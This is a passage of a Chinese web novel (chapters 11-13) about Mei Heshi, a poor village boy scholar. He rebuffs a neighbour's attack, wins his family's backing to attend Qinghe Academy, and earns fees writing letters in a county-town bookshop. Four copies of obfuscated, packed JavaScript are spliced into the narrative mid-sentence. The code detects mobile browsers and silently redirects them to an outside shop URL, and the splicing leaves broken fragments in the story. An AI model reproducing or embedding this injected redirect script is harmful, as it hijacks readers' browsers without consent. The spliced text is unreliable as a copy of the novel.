蘅姐儿扭头看寅哥儿，见阿兄点头，她才抬手，轻轻摸两下，泛红的眼睛弯成月牙儿。 随即扭了扭身子，似是难为情地绞着小胖手，小声嗫嚅：“多、多谢二叔。” 梅鹤时短促笑了下，指尖轻点绢花，抚平细微褶皱：“走了，去吃饭。” “嗯......嗯！” 蘅姐儿悄悄看了梅鹤时一眼，飞快低下头，拉着寅哥儿蹬蹬往外跑。 梅鹤时将被褥收拾妥当，刚踏出东屋，便听得一声爆喝。 “梅鹤时！” 抬眼望去，徐桃花手里抄着一柄柴刀，嘶吼着向他扑来。 “你这挨千刀的小崽子，烂心肝的小畜生，我文哥儿好生生去考试，却被你害得断了前程，去了半条命。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525093|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 忆起昨日前去县衙牢狱，文哥儿遍体鳞伤、萎靡憔悴的模样，往后再无光耀门楣的指望，徐桃花眼底翻涌着刻骨怨毒。 “今日我非砍死你这白眼狼，给我儿偿命！” 寒光乍现，柴刀带着戾气劈来。 梅鹤时脚步轻错，侧身从容避开：“婶子慎言。” 徐桃花一击落空，越发疯魔，握着柴刀又冲上来，嘴里尖声怒骂不止。 “若非你使诈构陷，文哥儿怎会被杖责，落得终身不能科举的下场？” “你这是存心要逼死他，断我老陈家的富贵路啊！” 眼看那柴刀要劈在身上，梅二婶吓得一哆嗦，想也没想，一把抄起靠墙立着的粗木扁担，朝徐桃花的胳膊狠狠砸去。 徐桃花吃痛尖叫，柴刀险些脱手，气焰却半点不减，指着梅鹤时撒泼乱叫。 “都是他！都是他害的！” “小小年纪便如此歹毒，老娘今儿个便要替天行道，收了你这畜生！” 梅二婶登时气笑了：“你早上莫不是掉进粪坑，吃饱喝足了，嘴才这么臭？” “人家差爷都说了，是你那好儿子害我家时哥儿，亏得时哥儿聪明，看破他的伎俩，才没让他得逞。” “我若是你，就该老老实实夹着尾巴做人，真不知你这贼婆娘哪来的脸，到我家来闹事。” 梅二婶忽然想到什么，一拍巴掌：“你不会以为大闹一场，这事儿就能翻篇吧？” 被戳中心事，徐桃花跳脚：“你胡说！我才没有！” 梅二婶正欲再骂，被梅鹤时抬手制止。 少年神情冷冽，一字一顿道：“那日人证物证俱全，纸张、米糊、字迹样样确凿，县令大人秉公论断，何来我害他一说？” 他往前半步，沉沉目光压向徐桃花。 “还有收买那泼皮，在村中造谣生事，骗我阿爷他们进城。” “我虽不知他是如何知晓王公桥会在那日坍塌，那供词上明明白白写着，官府可曾冤枉了他？” 梅鹤时垂眸，慢条斯理拂过衣袖，神色平静得近乎漠然。 “不知安分读书走正途，整日钻营算计，如今落得这般下场，纯属咎由自取，怨不得旁人半分。” “毁了陈耀文的人，从来不是我，是他自己。” “婶子与其在我家撒泼，倒不如回去自省一番，究竟是如何教出这般心术不正的儿子。” 一声声反问砸下来，徐桃花浑身发僵，后背惊出一身冷汗。 对上梅鹤时冰冷的眼，她一个哆嗦，柴刀“咣当”落地。 梅二婶呆呆望着梅鹤时，暗自咽了口唾沫。 不愧是读书人，嘴皮子比她们这些个庄稼人厉害百倍。 “还愣着作甚？赶紧滚！” 梅二婶抓起扁担，作势要砸过去。 她虽不满家里供时哥儿读书，可他毕竟是梅家的种，轮不到旁人欺负。 徐桃花惊叫，柴刀都顾不上捡，连滚带爬回了陈家。 梅二婶得意洋洋哼了声：“再敢来，老娘把你那狗头敲肚子里去！” 梅老太没好气看她一眼，将碗筷放桌上：“吃饭。” “欸，来了！” 今日的朝食远不如昨晚丰盛，只一盆糙米粥，外加几只窝头。 梅老头早已出门了，梅老二还在西屋里睡着。 梅老太懒得叫他，一家八口团团围坐桌边。 梅鹤时掌心轻轻摩挲桌沿，郑重开口：“阿奶，我想去清河书院读书。” 梅二婶像是被针扎了似的，从凳子上跳起来：“不行！我不同意！” 11. 011 梅老太和云恩玉尚未出声，梅二婶先嚷嚷开了。 “时哥儿你莫不是疯了？！” “书院的束脩那么贵，再算上笔墨、吃住开销，一年少说也要好几两银子，你是想让一大家子往后喝西北风去？” 她将饭桌拍得哐哐作响，扭头看梅老太，急声道：“阿娘，您可千万不能由着时哥儿这般胡来。” “家里本就过得紧巴，供他读书应试已是不易，再去什么清河书院，分明是拿着银子往水里扔！” 梅二婶盘算着，她的暄哥儿今年七岁，正是启蒙的年纪。 她打心眼里不想二房输给长房，更不愿自己的孩子比不上梅鹤时一个死了爹的。 梅老太没搭理梅二婶，浑浊双目望向梅鹤时：“好端端的，时哥儿为何要去清河书院读书？” “阿娘！”梅二婶见婆母并未直接否决，嗓门拔高，“书院是富家公子去的地方，咱们这穷家小户，哪里凑得起那份束脩？” “暄哥儿他大伯当年不也是自学考中的秀才？时哥儿聪明，在家温书照样能考，何必花冤枉钱。” 梅老太一拍筷子：“住口！” 梅二婶立马缩了脖子，忿忿瞪了梅鹤时一眼，没敢再呛声。 梅鹤时直视梅老太，言辞恳切：“二婶所言不假，自学可应付县试，却难登大雅之堂。” “闭门读书眼界受限，不知文风走向，更不知考官偏好，平日里亦无人指点文章弊病。” “长此以往，哪怕根基再扎实，也难有进益。” “孙儿要走的是科举正途，从童生到秀才，再到乡试、会试，一步都错不得。” 他顿了顿，垂下眼帘：“科举无望，如何为阿爹昭雪？” 梅老太和云恩玉心尖一颤，霎时红了眼。 梅二婶撇嘴，臭小子连苦肉计都使上了：“道理谁都懂，可也不能拿全家的活路去赌......” 梅鹤时出言打断：“此番是最后一次，日后我绝不会再让家里掏半分束脩。” 梅二婶怔住：“你这话什么意思？” 梅鹤时指尖轻点桌面：“县试时，侄儿听闻清河书院每月皆有月考，若能夺得头名，便可领取一两赏银。” 梅二婶上下打量梅鹤时，满心不以为然。 清河书院里童生、秀才比比皆是，岂是小小村塾可比？ 他一个农家小子，说大话也不怕闪了腰。 梅鹤时并未理会她的轻视，只道：“便是拿不到头名，我也有法子挣取笔墨开销，绝不拖累家里。” 云恩玉瞧着幼子清隽的侧脸，心底莫名不安。 自考完县试回来，这孩子便像换了个人似的。 虽仍是沉默寡言的性子，却多了几分锋芒与锐气。 先前与徐桃花对峙，那眼神冷冽如冰，连她都有些犯怵。 云恩玉无意识地揉搓膝头裙摆，向梅老太投去问询目光。 梅老太在这个家里素来说一不二，哪怕她是时哥儿的亲娘，也要过问婆母的意见。 梅老太看着孙儿眼中的笃定，又见儿媳满面恳切，沉默片刻，转身走进正屋。 不多时，她捧着一个蓝布小包出来，层层打开，里面是一串用红绳串好的铜钱。 她将铜钱递给梅鹤时，枯瘦的手紧紧按在他手背上：“想读书就去读，家里有我跟你阿爷，有田有地，饿不死。” 云恩玉连忙表态：“只要时哥儿想，阿娘便是日夜做针线，也一定供你读书。” 梅鹤时轻抚掌心铜钱，半晌低低嗯一声：“多谢阿奶，多谢阿娘。” 其实昨日之前，他并未想好往后的路。 漫长寿命足够他掌握许多谋生本事，让他在这异世安稳度日。 先前参加县试，也是为了不让梅家人起疑。 直到昨夜大梦一场，他彻夜未眠，独自消化不属于自己的刻骨恨意。 梦中，原主的执念、不甘与期盼，如根根细针扎在心头，令他无法漠然置之。 既占了这具身体，便不可只苟活一世。 以陈耀文的小人秉性，便是终身禁考，也绝不会放过梅家，放过自己。 梅鹤时清心寡欲，却绝非任人宰割的软柿子。 唯有科举入仕，身居高位，方能压制住陈耀文，为原主与梅家讨回公道。 ...... 梅二婶瞧着那串铜钱，心疼得直抽气。 可她不敢忤逆梅老太，只能眼睁睁看着梅鹤时将铜钱收入袖中。 又见自己一双儿女凑到梅鹤时身旁，叽叽喳喳追问县试中的趣事。 反倒是长房那两个小的，只安安静静闷头扒饭。 梅二婶气不打一处来：“梅鹤暄梅宝凤，都别闹了，赶紧吃饭！” 暄哥儿凤姐儿悻悻撅嘴，乖乖坐回亲娘身旁。 用完朝食，梅鹤时正打算动身进城，一个男童匆匆跑来：“时哥儿，夫子让你过去一趟。” 梅鹤时擦了脸，随男童一道过去。 刚走到村塾门口，比梅鹤时略高些，体型却敦实的少年满脸嫌弃地看着他：“你怎么又来了？半文钱束脩不曾交过，隔三差五往这边跑，真是厚颜无耻！” 梅鹤时淡淡睨他一眼，越过他径直进门。 “夫子。” 步入书房，梅鹤时向双鬓染白，面容儒雅的男子躬身一揖。 许夫子示意他落座，话语亲和：“此番县试感觉如何？” 梅鹤时从容道：“尚可。” 梅家小子素来沉闷，许夫子并未多想，只道：“且将县试考题说与我听听。” 梅鹤时依言娓娓道来，连同破题思路一并讲明。 许夫子捻须，眼中满是赞许：“县令大人出题素爱暗藏机锋，你这般作答，定能榜上有名。” 梅鹤时不卑不亢：“全赖夫子悉心指点。” 许夫子端起茶盏抿上一口，话锋一转：“时哥儿，待县试放榜，便来村塾读书吧，我分文不收你的束脩。” 他与梅兴祖自幼相识，二人曾一同科考。 只是他时运不济，院试中屡试不第，至今仍是个童生。 眼看年岁渐长，索性回乡开办村塾，教书育人。 早年他意外发现，梅家小子靠自学读完百三千与《论语》，便起了爱才之心。 他心知梅家贫寒，时常私下为梅鹤时讲学，算得上对方半个启蒙恩师。 梅鹤时闻言，起身拱手，语气恭敬却坚定：“多谢夫子厚爱，只是学生心中已有打算，恐不能应下夫子的美意。” 许夫子面上笑意淡了些，半晌轻叹：“我知晓你心有丘壑，可你要明白，科举之路越往后越艰难。” “童试尚可凭自学蒙混过关，可到了乡试、会试，拼的不只是死记硬背，更是文章风骨，见识格局。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525094|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他往前倾了倾身子，语重心长道：“村塾虽简陋，可我必会倾囊相授，也能让你与其余学童相互探讨，总好过你独自摸索。” 许夫子的心意，梅鹤时全然领会。 可他早已下定决心要去清河书院，那里的资源与眼界，是村塾无法比拟的。 “夫子的恩情，学生没齿难忘，只是学生不愿再麻烦夫子。” “您的村塾本就不易，学生若再白占一个名额，于心有愧。况且，学生已决定前往清河书院求学，虽前路难测，却也想拼一拼。” 许夫子见梅鹤时神色坚决，知晓这孩子心意已定，再劝无益。 他轻叹了口气，摆了摆手：“罢了罢了，你这孩子，性子倒与你阿爹一般执拗。” “只是清河书院富家公子众多，你孤身前往，切记谨言慎行，莫要冲动行事。” “若在书院遇到难处，或是文章有不解之处，随时可回村来寻我。” “学生谨记夫子教诲。”梅鹤时深深一揖，转身退出书房。 刚走出村塾，被先前嘲讽他的少年拦住去路。 少年双手叉腰，面上满是讥讽，声音故意拔高，引得路过的几个村民频频侧目：“怎么？夫子好心留你在村塾免费读书，你还不乐意？莫不是瞧不上村塾，一心想去清河书院攀高枝？” 此人乃是梅老头亲兄弟，梅守福的孙子梅书珩。 早年间，梅家兄弟分家，梅守福耍了心眼，多占去八亩良田和一间大瓦房，只给梅老头留了两亩薄田和一间破草屋。 兄弟二人自此结下梁子，老死不相往来。 后来梅兴祖病逝，梅家败落，日子过得捉襟见肘，梅守福家却时来运转。 梅书珩的父亲娶了县里胭脂铺东家的女儿，得了丰厚嫁妆，开了间杂货铺，日子愈发红火。 正因如此，梅书珩被宠得娇纵跋扈，平日里见了梅鹤时，总爱挖苦刁难。 譬如此时，他打量着梅鹤时洗得发白的絮袄，嗤笑出声：“就你这穷酸样，连束脩都交不起，还想去清河书院？真是异想天开！” 梅鹤时驻足，目光落在梅书珩痴肥的脸上，不见半分恼怒：“我去不去得成清河书院，与你何干？” “科举之路凭的是真才实学，而非家世背景。” “我今日敢去清河书院，便有把握站稳脚跟。而你，纵使家境再好，一味荒度时日，也难有长进。” 梅书珩最烦旁人说教，顿觉怒上心头，挥拳砸向梅鹤时：“你一个死了爹的，有什么资格对我指手画脚？” 梅鹤时侧身避开，抬手扣住他的手腕。 力道不大，却让梅书珩动弹不得。 少年眉眼微沉，暗含警告：“我无意与你争执，你若再出言不逊，休怪我不客气。” 梅书珩只觉手腕一阵酸痛，拼命挣扎却挣不开，心中莫名生出几分惧意，咽了口唾沫：“你、你快放开......” 梅鹤时松手，梅书珩踉跄后退两步，捂着手腕放狠话：“你给我等着！” 一个穷鬼，绝无可能考入清河书院。 待梅鹤时落败而归，他定要大肆嘲笑他一番，让他沦为全村的笑柄！ 梅鹤时懒得理他，抬手掂了掂袖中铜钱，径直往村口去。 原主报考县试、住客栈已花去不少，这应当是梅家仅存的积蓄。 若凑不够束脩，还得在县城寻些活计，挣钱补足。 12. 012 清河县隶属南直隶淮安府，城内酒旗招展，吆喝声此起彼伏，一派繁华喧闹景象。 清河书院临河而筑，静立城角一隅。 青砖砌墙，黛瓦覆顶，门前两株古柏苍劲挺拔，檐下匾额字迹沉厚，不闻市井喧嚣，唯余书卷清韵。 梅鹤时轻整衣襟，上前向门房拱手：“晚辈欲入书院求学，特来问询入学事宜。” 门房态度随和，如实相告：“通过山长考校即可入学，束脩需一两银子，一个子儿都不得少。” 梅鹤时捏紧袖中红绳，半晌轻声道：“晚辈只凑得一钱银子，若有幸通过考校，不知能否宽限几日......” “书院规矩向来如此。”门房摊手，“若人人通融破例，岂不乱了套？” 梅鹤时默然，道一声“打扰了”，原路折返。 行至闹市，他四下留意书肆、画坊踪迹。 寻常摊铺必然不会收用稚龄孩童，只能去这两处碰碰运气。 不多时，他便瞧见一间书肆。 书肆门前围了几人，有书生坐于案前，正替人代写书信。 梅鹤时直入铺内：“晚辈略通笔墨，不知能否在在此替人代笔？” 掌柜见少年面容稚嫩，衣着寒酸，挥手便要撵人，却听他道：“您不妨容晚辈写上几句，若是不合心意，我绝不叨扰。” “也罢，便给你一次机会。”掌柜取来笔墨草纸，“丑话说在前面，我这儿可不是什么人都收的。” 稚子腕力不足，想来写不出像样字迹。 索性给他个教训，让他知难而退。 梅鹤时取过纸笔，一笔一划写下《论语》中章句。 掌柜起初漫不经心，待看清他那字迹风骨，当即眼睛一亮，抚掌赞叹：“好字！好字！” “是老夫眼拙，没想到你年纪轻轻，书法竟有这般功底。” “留下罢，寻常一封书信，给你两文酬劳，诉状文书视难易而定。” 梅鹤时眉宇舒展，躬身作揖：“多谢掌柜。” 掌柜摆了摆手，吩咐伙计另摆一套桌凳，备齐笔墨纸砚。 一旁年长的书生上下打量梅鹤时，低声嗤道：“毛头小子也敢来代笔，掌柜莫不是老眼昏花了？” 另几名书生深以为然。 “横竖抢不走咱们的生意，由他胡闹便是。” “是极。” 梅鹤时罔若未闻，落座后铺平纸张，砚台居右，镇纸居左，敛眸细细研墨。 往来客人见他年少，都下意识略过他，去寻两旁须发半白的年长书生。 嘴上无毛办事不牢，还是老先生更为稳妥。 梅鹤时并未辩解，只端坐案前，回想清晨在图书馆中做过的算学题。 他诗赋造诣不俗，算学却是短板。 若想走得更远，须得勤加打磨。 ...... 转眼临近正午，两旁书生案前的木匣早已满满当当，唯独梅鹤时面前空空如也。 掌柜见了直犯愁，心中暗自盘算，明日让那小子别来了，一文钱没挣到，白占一套桌凳。 正想着，一位老翁满头大汗，气喘吁吁来到书肆，神情焦灼：“哪位先生能帮我写封信？我家老婆子病重，有一味药县医馆无处可寻，得让我儿子从府城送回来！” 两旁的书生正忙着，头也不抬：“稍等，我这封尚未写完。” 老翁急得直跺脚，转头瞥见梅鹤时，踟蹰一瞬，还是走了过去：“小先生，可否替我写封信？” 梅鹤时抬手示意：“您请坐，晚辈定当尽力。” 说罢提笔蘸墨，一边听老翁诉说，一边飞速落笔，不多时便写好一封家书。 老翁接过书信，仔细看了一遍，当即赞不绝口：“小先生年岁虽浅，写的字竟比老先生还出彩！” 等候的客人闻言，纷纷围过来，拿起梅鹤时写的家书细看。 他们虽不识字，却能一眼看出落笔之工整。 方才还犹豫的客人连忙上前：“小先生，帮我也写一封信吧。” “还有我！” 梅鹤时案前渐渐热闹起来。 那几名书生见了，脸色青一阵白一阵，难堪至极。 - 酉时日暮，斜阳染红天际，商贩陆续收摊闭铺。 梅鹤时收拾好笔墨，将木匣交与掌柜。 掌柜清点铜钱：“小公子今日代写十三封信，这是二十六文钱。书肆每日辰时开张，你莫要来迟。” 梅鹤时应声道谢，揣好铜钱，循着来路往城外走。 行至中途，隐约瞧见梅老二的身影，与人勾肩搭背，嬉笑打闹，过路人见了皆绕道而行。 梅鹤时忆起昨日初见，梅老二一身酒气的萎靡模样，眉心微蹙，维持着原速，远远缀在那一行人后方。 回到太平村，村民见梅鹤时风尘仆仆，其中一人问道：“时哥儿这是去书院了？” 梅鹤时眸光微动，料定是梅书珩散播闲话，面上未显分毫，坦然应是。 众人随口夸赞两句，待人走远，又低声议论开了。 “梅家那境况，当真供得起他上书院？” “小小年纪心比天高，珩哥儿可是说了，那什么书院难考得很，到头来注定白费功夫。” “不知县试何时出结果，时哥儿若能如他爹一般争气，咱们村便能再出个秀才了。” “秀才又非田间白菜......” 闲话入耳，梅鹤时只作未闻，径直回了梅家。 梅老太在正屋做针线，见梅鹤时回来，放下针线迎上去：“事情办得怎么样？可入学了？” 梅鹤时摇头，取出铜钱：“束脩需一两白银，孙儿在书肆寻了份活计，今日挣了二十六文。” 梅二婶在灶房支着耳朵偷听，撇嘴嘀咕：“到底是肚子里装着墨水的，动动手指头便能挣钱。” 瞧着梅鹤时手里亮堂堂的铜钱，越发坚定了让暄哥儿启蒙的念头。 将来考个功名，暄哥儿有个好前程，凤姐儿嫁个好人家，她也跟着面上有光。 说话间，梅老头打猎归来。 他肩头挂着一只肥硕狍子，手里拎着一只野兔、两只山鸡，满脸喜色：“今日运气好，收成颇丰。” 梅老太帮着卸下猎物，拎起一只山鸡：“时哥儿他娘，明日把这鸡宰了，给时哥儿炖汤喝。” 云恩玉欸一声，用草绳捆了，放入竹篮。 梅鹤时在东屋里听见，并未制止。 他无甚口腹之欲，奈何科举路途艰辛，唯有强身健体，方能抵住种种磨砺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525095|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ...... 翌日，天色未明梅鹤时便起了。 图书馆内走一遭，而后穿衣洗漱，拿上云恩玉热好的窝头便上路，提前一刻钟抵达书肆。 有了昨日经历，梅鹤时题诗一首，置于桌角。 客人见他字迹隽秀，很是乐意买账。 截止酉时，梅鹤时挣了六十四文。 端看另几人铁青的脸色，便知今日收成远超旁人。 可即便如此，一两束脩仍然遥遥无期。 梅鹤时行走在官道上，掂着袖中铜钱，若能接下几份诉状，他便可在四月之前入学。 回到家，天已黑透。 鸡汤咕嘟咕嘟冒着热气，鲜香四溢。 蘅姐儿眼巴巴守在灶边，暄哥儿凤姐儿馋得直咽唾沫，唯有寅哥儿一如既往的木讷，呆坐在东屋门口，像只小木雕。 到开饭的时辰，梅老二游荡归来，闻着香味凑上前，伸手便要去抓鸡腿。 梅老太一筷子敲在他手背上：“这鸡汤是给时哥儿炖的，你个皮糙肉厚的吃什么？” 梅老二捂着手背，满心憋闷。 时哥儿时哥儿，他娘眼里除了时哥儿，可还有旁的人？ 前个晚上训他，今晚上又敲他！ 梅老二搓了搓后槽牙，扭头往外走。 梅老太在后头喊：“天都黑了，你又要上哪儿野去？” 梅老二头也不回，语气冷硬：“不用你管！” 梅老太沉下脸：“我倒是想管，可我哪里还管得住你？” 梅老二顿住脚步，只一瞬又往前走：“你何时管过我的死活？” 那个人死后，就没人管他了。 梅老太指着梅老二的背影，气得直哆嗦：“不孝子，白养他这么大！” 云恩玉忙上前来，给她顺气。 梅老太缓过气来，脊背无端佝偻些许，沙哑嗓音藏着叹息：“不管他，咱们吃饭。” 一家人围桌而坐，却没了原先吃肉时的喜悦。 ...... 另一边，梅老二怒气冲冲出了门，在村东头的王老三家凑合一晚。 翌日，王老三喊上梅老二，连同隔壁村几个闲汉，结伴进城闲逛。 进了城，几人东瞅西看，没个正形。 行至赌坊，门内人声鼎沸，时不时传来喝彩声。 王三眼珠一转，拍了拍梅老二的肩膀：“老二，咱进去玩几把？运气好还能赢个酒菜钱哩！” 梅老二下意识摇头：“我身上一文钱都没有，赌什么？” 兄长在世时，对他管教极严，吃喝消遣尚可，嫖赌一类却是明令禁止的。 哪怕兄长去了，近几年四处蹭吃蹭喝，也从未踏足这等腌臜地儿。 王老三挤眉弄眼：“你家时哥儿不是在书肆给人代笔？” 另一人跟着附和，循循善诱道：“读书人挣钱可多了，时哥儿是你侄儿，你向他借些银子做本钱，赢个百八十两都不在话下。” 梅老二想起梅老太对梅鹤时的偏疼，心里泛酸：“时哥儿他能答应吗？” “你是他二叔，长辈开口，他岂有不答应的道理？走，咱们现在就找他去！” 王老三拍着胸脯打包票，拉上梅老二，直奔梅鹤时代笔的书肆而去。 13. 013 今日辰时，梅鹤时如常来到书肆。 上午生意颇为顺遂，替人代写九封书信，又草拟简易诉状一份，片刻不曾得闲。 时至午时，梅鹤时回铺内稍作歇息，又重坐案前，继续执笔代书。 送走一位前来撰写祭文的老妪，紧接着又来了个短褐布衣、肤色黝黑的庄稼汉，要给在外务工的兄弟写家书。 梅鹤时细问内容，提笔写就。 他习惯一边写，一边念，好让不识字的客人知晓信上所言。 才写得半篇，那男子蒲扇大掌拍上桌案，横眉瞪眼：“你这写的什么东西？文绉绉满口酸话，我兄弟一个种地的，如何看得懂？” 梅鹤时顾及来客身份，行文已极尽通俗直白，三岁稚童都能听懂。 对方这般挑剔，分明是有意刁难。 然谋生不易，挣钱要紧，梅鹤时压下不快，言辞恳切：“对不住，是我有失考量，我再重写一份。” 男子冷冷一哼，自以为小声地嘀咕：“年纪小就是不顶事。” 两旁书生闻言，嗤嗤窃笑。 梅鹤时无视那几人的奚落，耐着性子将文辞改得更为直白。 通篇写罢，他将书信递过去。 男子却未接过，指着信纸大骂：“你这改的什么东西？写得狗屁不通，我看你就是故意折腾人，白耽误我工夫！” “掌柜！掌柜！”他高声嚷嚷，“这小子瞧不上我是个庄稼汉，胡乱糊弄了事，今日必须给我个说法，否则咱们直接衙门见！” 吵闹声引来一圈人围观，指指点点，议论不休。 “这是怎么了？” 梅老二一行人嬉闹着从赌坊过来，被乌泱泱的人群拦住去路，踮起脚往里瞧。 只一眼，梅老二便瞧见他家时哥儿。 体型壮硕的汉子杵在时哥儿跟前，嘴里不干不净骂着，手指头几乎要戳到他的脸上。 时哥儿微微垂首，一言不发。 脊背单薄却笔直，不见半分弯折。 梅老二脸上的笑瞬间僵住，一股无名火涌上心头。 王老三也认出了梅鹤时，啧啧打趣：“老二，你家时哥儿这是惹上事了吧？倒是能忍，被人这般辱骂也不还口。” 一旁的狐朋狗友附和。 “换做是我，早就一拳砸上去了。” “如此看来，读书人也没传言中那么体面。” 梅老二怔怔望着梅鹤时，有那么一瞬，他似乎见到了另一道身影。 ...... 幼时，阿爹满山打猎，阿娘既要操持家务，还要兼顾农事，无暇照看他与阿兄。 可以说，他是阿兄一手拉扯大的。 刚与大伯闹翻那几年，日子过得艰苦，阿兄读书之余，还得去书肆给人代笔。 阿兄不放心将他一人留在家中，遂与掌柜商量，在桌案旁添一张小凳。 春来秋往，寒来暑往，数百个日子里，他坐在阿兄身旁，看他游刃有余，看他执笔挥毫。 铜钱落入木匣，编织出童年最最美妙的声响。 并非所有客人通情达理，也有那胡搅蛮缠的，鸡蛋里挑骨头，对阿兄百般刁难。 这一刻，时哥儿的身影与阿兄当年全然重合。 仿佛梦回当年，阿兄尚存人世，正是风华正茂的好年纪。 “老二？发什么呆呢？” 胳膊被人狠狠一搡，梅老二猛然回神，如遭当头重击，骇然瞪大双眼，踉跄倒退数步，撞上身后货摊。 小贩顿时气急：“你这人好生莽撞，我的扇子都被你撞地上去了！” 梅老二像是被什么蛰了一般，慌忙往后蹦了两蹦，脚下不稳，竟一屁股跌坐在地。 “老二？”王老三又唤。 梅老二只觉整张脸“轰”地烧起来，从脸颊烫到耳根，又从耳根凉到心口。 他僵坐原地，拳头攥得死紧，半晌一言不发，手脚并用爬起身，往来时路上奔去。 狐朋狗友满头雾水：“他什么毛病？怎的一个人走了，将咱们撂在这儿？” “还去赌坊吗？昨夜从我爹屋里摸了二两银子，还热乎着。” 王老三望向梅鹤时，暗骂一声晦气：“走，去赌坊。” 一行人勾肩搭背远去。 “听说老二那侄儿想考书院。” “跟他那早死的爹一样，心气太高。” 王老三忆起当年那个高风亮节、将兄弟护得严严实实的梅秀才，不屑扯了下唇。 再厉害又如何？ 还不是短命鬼一个。 护不住儿子，更护不住家人。 他若泉下有知，他的亲兄弟任由自己拿捏摆布，怕是要从坟里爬出来。 ...... 掌柜听见动静出来，了解前因后果，一眼便看出那男子打的什么算盘。 他取过信纸，屈指轻弹了下：“既然如此，便去衙门，请官爷主持公道吧。” 男子健硕身躯猛地一震，掌心渗出冷汗，干笑两声：“我只是说句气话，您怎的还当真了？” “罢了，看在您的面子上，这件事便算了。”他伸手，捏住信纸一角，却未能抽回，“这封信要几文钱？我付钱便是。” 梅鹤时报了个数，男子将铜钱放入木匣，挤出笑脸：“您看？” 掌柜松手，男子胡乱折起信纸，推开人群窜进窄巷，眨眼没了踪影。 无关人等见没热闹可看，唏嘘着作鸟兽散去。 梅鹤时起身拱手：“多谢掌柜。” “自以为是的蠢货，这种人老夫见多了。”掌柜拍了拍梅鹤时的肩，“继续写吧。” 梅鹤时微微颔首，坐回原位，接待下一位客人。 两个时辰弹指即逝，落日西垂，霞光洒满长街，已是闭铺之时。 掌柜清点银钱，将一部分交与梅鹤时：“这是你今日的工钱，一百三十文。” 梅鹤时微怔：“您算错了。” 便是算上代写诉状的酬劳，也不该是这个数目。 掌柜低头拨算盘，摆了摆手：“去买两块烧饼，甜甜嘴儿。” 这是将他当孩子哄了。 梅鹤时莞尔，将铜钱放入云恩玉缝制的荷包：“晚辈便却之不恭了。” 辞别掌柜，途经街角糕点铺，清甜香气扑面而来。 昨夜鸡汤的鲜香仍在舌尖萦绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525096|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，梅鹤时沉吟须臾，走进糕点铺：“买十块梅花糕。” “好嘞！” 伙计用油纸包好糕点，梅鹤时揣入怀中，迎着夕阳回村去。 行至村尾，远远便瞧见一道身影正挥着斧头劈柴。 梅鹤时眉头微动，心生讶然。 往日这个时辰，梅老二应当在外厮混，昨夜又与梅老太吵了一架，怎会老老实实在家？ 脚步声渐近，梅老二下意识回首，撞进梅鹤时审视的眼中。 他眼神闪烁了下，攥紧手中斧头，飞速低下头，死死盯着脚边的柴火，似要看出花来。 梅鹤时见状，心底疑惑更甚。 莫不是在外招惹什么是非，回家避祸来了？ 就在此时，隔壁砖瓦房突然冲出一道黑影。 陈老头冲到梅鹤时面前，“噗通”一声跪下，抓住他的衣袖，浑浊眼里满是哀求。 “时哥儿，文哥儿他已经知道错了，你看在亲戚一场的份上，原谅他这一回吧！” “他伤得很重，皮肉都烂了，每日还要戴着枷锁游街受罚，怕是熬不过半年。” “时哥儿你去跟县令大人求求情，放他回来可好？” 梅鹤时正欲拒绝，梅老二持着斧头，大步冲了过来。 他将陈老头从梅鹤时身边拽开，眼神凶狠：“放你娘的屁！老梅家什么时候有你这样的亲戚？” “陈耀文那小兔崽子险些害惨时哥儿，莫说坐牢禁考，便是千刀万剐，也是他罪有应得！” 陈老头被拽得一个趔趄，依旧不死心：“文哥儿还小，不能就这么毁了啊！” “哭什么哭？给陈耀文哭丧呢？”梅老二一脚踹翻柴火堆，“你哪来的脸让时哥儿原谅他？他害时哥儿的时候可没想过手下留情！” 他揪住陈老头的衣领：“从今往后，姓陈的再来我家闹事，再敢纠缠时哥儿，老子不仅把你家拆了，还要去县令大人面前，请他评评理！” 梅老二素来吊儿郎当，这会儿一脸凶煞，吓得陈老头面无人色，两条腿直打摆子，后悔跑来使苦肉计了。 